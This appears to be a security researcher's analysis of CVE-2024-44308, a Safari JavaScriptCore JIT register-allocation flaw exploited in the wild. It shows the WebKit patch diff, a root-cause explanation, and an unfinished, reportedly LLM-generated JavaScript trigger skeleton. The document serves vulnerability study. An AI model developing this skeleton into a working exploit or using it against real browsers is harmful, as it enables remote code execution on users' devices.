[In-The-Wild] CVE-2024-44308 : Apple Safari JavaScriptCore Remote Code Execution Vulnerability
Summary:
- CVE ID : CVE-2024-44308
- Target Software : Apple Safari (iOS, visionOS, macOS)
- Affected Version : iOS 17.7.1, 18.1, visionOS 2.1, macOS Sequoia 15.1
- Patched Version : iOS 17.7.2, 18.1.1, visionOS 2.1.1, macOS Sequoia 15.1.1
- Impact : Remote Code Execution
- Reporter(s) : Clément Lecigne and Benoît Sevens of Google’s Threat Analysis Group
- Analyzer(s) : Dohyun Lee (@l33d0hyun) of USELab, Korea University
Technical Details:
Overview:
- This vulnerability in WebKit’s DFG JIT compiler involves a register corruption issue due to improper allocation timing of
scratch2GPR
register.
Analysis:
diff --git a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
index 356d52b21a120..d041b63e8ba98 100644
--- a/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
+++ b/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp
@@ -3528,6 +3528,14 @@ void SpeculativeJIT::compilePutByValForIntTypedArray(Node* node, TypedArrayType
}
}
+ GPRReg scratch2GPR = InvalidGPRReg;
+#if USE(JSVALUE64)
+ if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
+ scratch2.emplace(this);
+ scratch2GPR = scratch2->gpr();
+ }
+#endif
+
bool result = getIntTypedArrayStoreOperand(
value, propertyReg,
#if USE(JSVALUE32_64)
@@ -3539,14 +3547,6 @@ void SpeculativeJIT::compilePutByValForIntTypedArray(Node* node, TypedArrayType
return;
}
- GPRReg scratch2GPR = InvalidGPRReg;
-#if USE(JSVALUE64)
- if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
- scratch2.emplace(this);
- scratch2GPR = scratch2->gpr();
- }
-#endif
-
GPRReg valueGPR = value.gpr();
GPRReg scratchGPR = scratch.gpr();
#if USE(JSVALUE32_64)
-
WebKit Commit : 53e7f27d262249310bd6b7ad452e7df334c92b7d.diff
-
This vulnerability has been patched as shown above. In the pre-patch code, there was a potential register misuse issue where
scratch2GPR
was allocated after adding a slow path throughgetIntTypedArrayStoreOperand()
. This could lead to problems for the following reasons:- Allocating a DFG register after a slow path means that if the slow path is taken, we will have allocated a register unnecessarily and end up with inconsistent global state.
- In this specific case, if
getIntTypedArrayStoreOperand()
adds a slow path,scratch2GPR
gets allocated after that even though it won’t be used in the slow path.
-
Code Flow:
- Call
getIntTypedArrayStoreOperand()
-> Add slow path -> Incorrectly allocatescratch2GPR
-> Inconsistent register state if slow path taken
- Call
Proof-of-Concept (Unfinished):
- This is not a fully developed PoC, but it allows us to reach the functions we need to trigger:
SpeculativeJIT::compilePutByValForIntTypedArray
andgetIntTypedArrayStoreOperand()
. - This skeleton code is the code generated by
LLM (Large Language Model)
.
var ab = new ArrayBuffer(8);
var arr = new Int32Array(ab);
const confuser = {
valueOf() {
gc();
if (this.flag) {
return {x: 0x41414141};
}
return 0x1234;
},
flag: false
};
function jitMe(arr) {
let x = 0;
for(let i = 0; i < 10000; i++) {
if(i % 100 === 0) {
confuser.flag = !confuser.flag;
x = confuser;
} else {
x = i & 0xff;
}
arr[(i & 0xffff)] = x;
}
return arr;
}
for(let i = 0; i < 100; i++) {
jitMe(arr);
}
jitMe(arr);
- The complete PoC code will be updated once it is finalized.
Additional Information:
- I think I might find useful information on the blog below! It seems to have some similarities.